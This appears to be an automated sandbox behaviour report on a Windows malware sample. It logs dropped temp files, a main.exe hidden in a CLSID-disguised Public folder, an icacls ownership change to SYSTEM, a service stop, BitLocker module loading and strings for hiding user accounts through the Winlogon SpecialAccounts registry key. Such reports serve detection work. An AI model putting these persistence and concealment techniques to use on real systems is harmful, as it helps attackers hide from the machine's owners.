Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\e5xaOqBz	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\nHqxqt5L	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\TLbqzKsW	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\T9229YlC	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\miECvZvT	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fQQIqQM0	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\T9229YlC	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\UEptccWa	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\nHqxqt5L	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fQQIqQM0	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\x8eec9dQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\miECvZvT	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\TLbqzKsW	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\e5xaOqBz	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\VPIOcgIO	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

File created: C:\Users\user~1\AppData\Local\Temp\installer.log

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 29_2_00007FF7AABD1DBC strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

29_2_00007FF7AABD1DBC

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe, 00000029.00000002.2531413531.00007FFB22714000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000029.00000002.2531413531.00007FFB22714000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: update.pkg.18.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: update.pkg.18.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
